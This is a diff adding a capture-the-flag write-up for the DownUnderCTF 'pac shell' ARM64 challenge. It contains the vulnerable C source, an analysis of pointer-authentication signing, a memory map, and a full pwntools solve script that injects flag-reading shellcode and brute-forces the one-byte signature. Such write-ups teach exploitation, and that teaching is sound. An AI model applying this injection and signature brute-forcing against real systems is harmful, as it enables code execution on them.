@@ -17,8 +17,90 @@ Solved: 55
17
17
18
18
Input files:
19
19
20
- ??? info "encoding.txt"
20
+ ??? info "pacsh.c"
21
+ ```c
22
+ #include <stdio.h>
23
+ #include <stdlib.h>
24
+ #include <string.h>
21
25
26
+ typedef struct {
27
+ char name[ 8] ;
28
+ void (* fptr)();
29
+ } builtin_func;
30
+
31
+ void ls() {
32
+ system("ls");
33
+ }
34
+
35
+ void read64() {
36
+ unsigned long* addr;
37
+ printf("read64> ");
38
+ scanf("%p", &addr);
39
+ printf("%8lx\n", * addr);
40
+ }
41
+
42
+ void write64() {
43
+ unsigned long* addr;
44
+ unsigned long val;
45
+ printf("write64> ");
46
+ scanf("%p %lx", &addr, &val);
47
+ * addr = val;
48
+ }
49
+
50
+ void help();
51
+ builtin_func BUILTINS[ 4] = {
52
+ { .name = "help", .fptr = help },
53
+ { .name = "ls", .fptr = ls },
54
+ { .name = "read64", .fptr = read64 },
55
+ { .name = "write64", .fptr = write64 },
56
+ };
57
+
58
+ void help() {
59
+ void (* f)();
60
+ for(int i = 0; i < 4; i++) {
61
+ f = BUILTINS[ i] .fptr;
62
+ __ asm__ ("paciza %0\n" : "=r"(f) : "r"(f));
63
+ printf("%8s: %p\n", BUILTINS[ i] .name, f);
64
+ }
65
+ }
66
+
67
+ int main() {
68
+ setvbuf(stdin, 0, 2, 0);
69
+ setvbuf(stdout, 0, 2, 0);
70
+
71
+ void (* fptr)() = NULL;
72
+
73
+ puts("Welcome to pac shell v0.0.1");
74
+ help();
75
+
76
+ while(1) {
77
+ printf("pacsh> ");
78
+ scanf("%p", &fptr);
79
+ __ asm__ ("autiza %0\n" : "=r"(fptr) : "r"(fptr));
80
+ (* fptr)();
81
+ }
82
+ }
83
+ ```
84
+
85
+ ??? info "Dockerfile"
86
+ ```dockerfile
87
+ FROM ghcr.io/downunderctf/docker-vendor/nsjail: ubuntu-22 .04
88
+
89
+ ENV DEBIAN_FRONTEND=noninteractive
90
+ RUN apt-get update \
91
+ && apt-get install -y gcc-aarch64-linux-gnu qemu-user qemu-user-static --fix-missing \
92
+ && rm -r /var/lib/apt/lists/*
93
+
94
+ ENV JAIL_CWD=/chal
95
+
96
+ COPY ./flag.txt /home/ctf/chal
97
+ COPY ./ld-linux-aarch64.so.1 /home/ctf/chal
98
+ COPY ./libc.so.6 /home/ctf/chal
99
+ COPY ./pacsh /home/ctf/chal
100
+ COPY ./run.sh /home/ctf/chal/pwn
101
+ ```
102
+
103
+ * [ pac_shell.tar.gz] ( https://github.com/DownUnderCTF/Challenges_2024_Public/blob/f2797a33d8f5851508f37e854afceedf85eee8a3/pwn/pac-shell/publish/pac_shell.tar.gz ) - also includes binary, libc and ld, run.sh
22
104
23
105
NB:
24
106
37
119
38
120
## My struggle
39
121
122
+ ### Analysis
123
+
124
+ First thing that I like to do is to inspect environment we deal with:
125
+
126
+ ``` bash title="run.sh"
127
+ #! /bin/sh
128
+
129
+ qemu-aarch64 pacsh
130
+ ```
131
+
132
+ So, the binary is aarch64 and is running under emulation.
133
+
134
+ ``` dockerfile title="Dockerfile"
135
+ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-22.04
136
+
137
+ ENV DEBIAN_FRONTEND=noninteractive
138
+ RUN apt-get update \
139
+ && apt-get install -y gcc-aarch64-linux-gnu qemu-user qemu-user-static --fix-missing \
140
+ && rm -r /var/lib/apt/lists/*
141
+
142
+ ENV JAIL_CWD=/chal
143
+
144
+ COPY ./flag.txt /home/ctf/chal
145
+ COPY ./ld-linux-aarch64.so.1 /home/ctf/chal
146
+ COPY ./libc.so.6 /home/ctf/chal
147
+ COPY ./pacsh /home/ctf/chal
148
+ COPY ./run.sh /home/ctf/chal/pwn
149
+ ```
150
+
151
+ There are 5 files in the container, and entrypoint command (` JAL_CWD ` ) is ` /chal ` . Flag is in ` /home/ctf/chal ` .
152
+
153
+ Now its time to focus on the application itself:
154
+
155
+ ``` c
156
+ #include < stdio.h>
157
+ #include < stdlib.h>
158
+ #include < string.h>
159
+
160
+ typedef struct {
161
+ char name[8];
162
+ void (* fptr)();
163
+ } builtin_func;
164
+
165
+ void ls () {
166
+ system ("ls");
167
+ }
168
+
169
+ void read64 () {
170
+ unsigned long* addr;
171
+ printf ("read64> ");
172
+ scanf("%p", &addr);
173
+ printf("%8lx\n", * addr);
174
+ }
175
+
176
+ void write64 () {
177
+ unsigned long* addr;
178
+ unsigned long val;
179
+ printf ("write64> ");
180
+ scanf("%p %lx", &addr, &val);
181
+ * addr = val;
182
+ }
183
+
184
+ void help ();
185
+ builtin_func BUILTINS[4 ] = {
186
+ { .name = "help", .fptr = help },
187
+ { .name = "ls", .fptr = ls },
188
+ { .name = "read64", .fptr = read64 },
189
+ { .name = "write64", .fptr = write64 },
190
+ };
191
+
192
+ void help () {
193
+ void (* f)();
194
+ for(int i = 0; i < 4; i++) {
195
+ f = BUILTINS[ i] .fptr;
196
+ __ asm__ ("paciza %0\n" : "=r"(f) : "r"(f));
197
+ printf("%8s: %p\n", BUILTINS[ i] .name, f);
198
+ }
199
+ }
200
+
201
+ int main () {
202
+ setvbuf (stdin, 0, 2, 0);
203
+ setvbuf(stdout, 0, 2, 0);
204
+
205
+ void (* fptr)() = NULL;
206
+
207
+ puts ("Welcome to pac shell v0.0.1");
208
+ help();
209
+
210
+ while(1) {
211
+ printf ("pacsh> ");
212
+ scanf("%p", &fptr);
213
+ __ asm__ ("autiza %0\n" : "=r"(fptr) : "r"(fptr));
214
+ (* fptr)();
215
+ }
216
+ }
217
+ ```
218
+
219
+ There are 4 functions: ` ls ` , ` read64 ` , ` write64 ` , ` help ` . Main is a loop that reads address from user and calls function at
220
+ that address. General ideal here would be:
221
+
222
+ 1 . Find writeable address;
223
+ 2 . Write shellcode to that address using write64;
224
+ 3 . Jump to that address from main loop.
225
+
226
+ Note that application is using AUTIZA/PACIZA instructions for address authentication.
227
+ Some details can be found here: http://hehezhou.cn/isa/autia.html , http://hehezhou.cn/isa/pacia.html . Also ChatGPT did a good job explaining.
228
+ In a nutshell, this instructions use top bits of a pointer to sign address. For example:
229
+
230
+ ``` bash
231
+ Welcome to pac shell v0.0.1
232
+ help: 0x01005500000b7c
233
+ ls: 0x78005500000a54
234
+ read64: 0x29005500000a78
235
+ write64: 0x15005500000afc
236
+ pacsh>
237
+ ```
238
+
239
+ We can see ` autiza ` in action:
240
+
241
+ * Address ` 0x5500000b7c ` was signed by ` autiza ` with ` 0x01 ` in top bits.
242
+ * Address ` 0x5500000a54 ` was signed by ` autiza ` with ` 0x78 ` in top bits.
243
+ * Address ` 0x5500000a78 ` was signed by ` autiza ` with ` 0x29 ` in top bits.
244
+ * Address ` 0x5500000afc ` was signed by ` autiza ` with ` 0x15 ` in top bits.
245
+
246
+ ` paciza ` is an opposite operation, it converts ` 0x01005500000b7c ` to ` 0x5500000b7c ` .
247
+
248
+ I've build container locally so I can debug:
249
+
250
+ ``` bash
251
+ $ ls
252
+ Dockerfile ld-linux-aarch64.so.1 libc.so.6 pacsh pacsh.c run.sh
253
+ $ echo mytestflag > flag.txt
254
+ $ docker build . --tag tmp_container
255
+ # -p 1337:1337 is port forwarding --privileged required by application (I guess for virtualization)
256
+ $ docker run --rm --name pac_shell --privileged -p 1337:1337 tmp_container
257
+ ```
258
+
259
+ ### Exploit
260
+
261
+ First step of our plan is to find out address we can write to. Running application several times I can see that addresses of
262
+ functions ` ls ` , ` read64 ` , ` write64 ` and ` help ` have different first byte signature, but otherwise are same: 0x..5500000b7c. This
263
+ means that application is loaded to the same address every time.
264
+
265
+ Not I got memory mapping of the process. Functions are located in the first segment, but its not writable. First writeable segment
266
+ I can see is on line 5. That is what we are going to use.
267
+
268
+ ``` bash hl_lines="2 5"
269
+ $ sudo cat /proc/51526/maps
270
+ 5500000000-5500001000 r--p 00000000 00:45 1634511 /chal/pacsh
271
+ 5500001000-5500011000 ---p 00000000 00:00 0
272
+ 5500011000-5500012000 r--p 00001000 00:45 1634511 /chal/pacsh
273
+ 5500012000-5500013000 rw-p 00002000 00:45 1634511 /chal/pacsh
274
+ 5500013000-5500020000 ---p 00000000 00:00 0
275
+ 5500020000-5500021000 rw-p 00010000 00:45 1634511 /chal/pacsh
276
+ 5501021000-5501022000 ---p 00000000 00:00 0
277
+ 5501022000-5501822000 rw-p 00000000 00:00 0
278
+ 5501822000-550184c000 r--p 00000000 00:45 1634475 /chal/ld-linux-aarch64.so.1
279
+ 550184c000-550185b000 ---p 00000000 00:00 0
280
+ 550185b000-550185d000 r--p 00029000 00:45 1634475 /chal/ld-linux-aarch64.so.1
281
+ 550185d000-550185f000 rw-p 0002b000 00:45 1634475 /chal/ld-linux-aarch64.so.1
282
+ 550185f000-5501860000 r--p 00000000 00:00 0
283
+ 5501860000-5501862000 rw-p 00000000 00:00 0
284
+ 5501870000-55019f9000 r--p 00000000 00:45 1634493 /chal/libc.so.6
285
+ 55019f9000-5501a08000 ---p 00189000 00:45 1634493 /chal/libc.so.6
286
+ 5501a08000-5501a0c000 r--p 00188000 00:45 1634493 /chal/libc.so.6
287
+ 5501a0c000-5501a0e000 rw-p 0018c000 00:45 1634493 /chal/libc.so.6
288
+ 5501a0e000-5501a1a000 rw-p 00000000 00:00 0
289
+ ```
290
+
291
+ Here is script that generates code and writes it to memory:
292
+
293
+ ``` py
294
+ # function generates assembly to read flag and writes its to the base_addr
295
+ def write_shell_code (base_addr , write64_addr ):
296
+ # use pwntools shellcraft to create assembly code for reading file flag.txt and then hang thread forever
297
+ # if process immediately crashes/exists we won't get contents of the flag sent to us over network
298
+ code = asm(shellcraft.cat(" flag.txt" ) + shellcraft.infloop())
299
+
300
+ for i in range (0 , len (code), 8 ): # iterate over code 8 bytes at a time
301
+ # read next 8 bytes to send
302
+ chunk_bytes = code[i:i + 8 ]
303
+ # pad with 0 (only relevant for the last chunk if number of bytes in code is not mulitple of 8)
304
+ chunk_bytes += bytearray (8 - len (chunk_bytes))
305
+ # convert bytes to big endian and then into hex
306
+ chunk_hex = hex (unpack(chunk_bytes))
307
+ # instruct target application that we want to execute write64
308
+ io.sendline(hex (write64_addr).encode())
309
+ # wait till target application is ready to receive our input
310
+ io.recvuntil(b " write64> " )
311
+ # send address that we want to write too (for each chunk we increase it by i) and value of the chunk
312
+ io.sendline((hex (base_addr + i) + " " + chunk_hex).encode())
313
+ # wait till application executed our write instruction
314
+ io.recvuntil(b " pacsh> " )
315
+ ```
316
+
317
+ Now our code is ready and all is left to do is jump there. But we can't just enter base address into the application: it requires
318
+ address to be signed. Signature is only 1 byte, so it can be quickly bruteforce it in a loop.
319
+
320
+ ??? success "solve.py"
321
+ ```py
322
+ from pwn import *
323
+
324
+ context.binary = elfexe = ELF('pacsh')
325
+ libc = elfexe.libc
326
+
327
+ context.log_level = 'warn'
328
+
329
+ # function generates assembly to read flag and writes its to the base_addr
330
+ def write_shell_code(base_addr, write64_addr):
331
+ # use pwntools shellcraft to create assembly code for reading file flag.txt and then hang thread forever
332
+ # if process immediately crashes/exists we won't get contents of the flag sent to us over network
333
+ code = asm(shellcraft.cat("flag.txt") + shellcraft.infloop())
334
+
335
+ for i in range(0, len(code), 8): # iterate over code 8 bytes at a time
336
+ # read next 8 bytes to send
337
+ chunk_bytes = code[ i: i + 8]
338
+ # pad with 0 (only relevant for the last chunk if number of bytes in code is not mulitple of 8)
339
+ chunk_bytes += bytearray(8 - len(chunk_bytes))
340
+ # convert bytes to big endian and then into hex
341
+ chunk_hex = hex(unpack(chunk_bytes))
342
+ # instruct target application that we want to execute write64
343
+ io.sendline(hex(write64_addr).encode())
344
+ # wait till target application is ready to receive our input
345
+ io.recvuntil(b"write64> ")
346
+ # send address that we want to write too (for each chunk we increase it by i) and value of the chunk
347
+ io.sendline((hex(base_addr + i) + " " + chunk_hex).encode())
348
+ # wait till application executed our write instruction
349
+ io.recvuntil(b"pacsh> ")
350
+
351
+
352
+ # iterate over 0..256 possible signatures
353
+ for i in range(256):
354
+ remote_server = 'localhost'
355
+ remote_port = 1337
356
+ io = remote(remote_server, remote_port)
357
+
358
+ # parse addresses of the functions from the welcome message
359
+ # Welcome to pac shell v0.0.1
360
+ # help: 0x34005500000b7c
361
+ # ls: 0x9005500000a54
362
+ # read64: 0x2a005500000a78
363
+ # write64: 0x2f005500000afc
364
+ # pacsh>
365
+ io.recvuntil(b"help: 0x")
366
+ help_addr = int(io.recvline(), 16)
367
+ io.recvuntil(b"read64: 0x")
368
+ read64_addr = int(io.recvline(), 16)
369
+ io.recvuntil(b"write64: 0x")
370
+ write64_addr = int(io.recvline(), 16)
371
+ io.recvuntil(b"pacsh> ")
372
+
373
+ # address of writable segment with 0x100 bytes offset as a precaution
374
+ base_addr = 0x5500012100
375
+ write_shell_code(base_addr, write64_addr)
376
+
377
+ # append I as a top byte signature to the base address
378
+ jumpAddress = hex(base_addr | int("{:02x}000000000000".format(i), 16))
379
+ # send address to the application
380
+ io.sendline(jumpAddress.encode())
381
+ # read response its either crash info if signature is wrong or flag contents
382
+ line = io.recvline()
383
+ print(line)
384
+ if b"Segmentation fault" not in line: # if its not crash info we got the flag - exit loop
385
+ break
386
+ io.close()
387
+
388
+ ```
389
+
40
390
41
391
42
392
## Epilogue
0 commit comments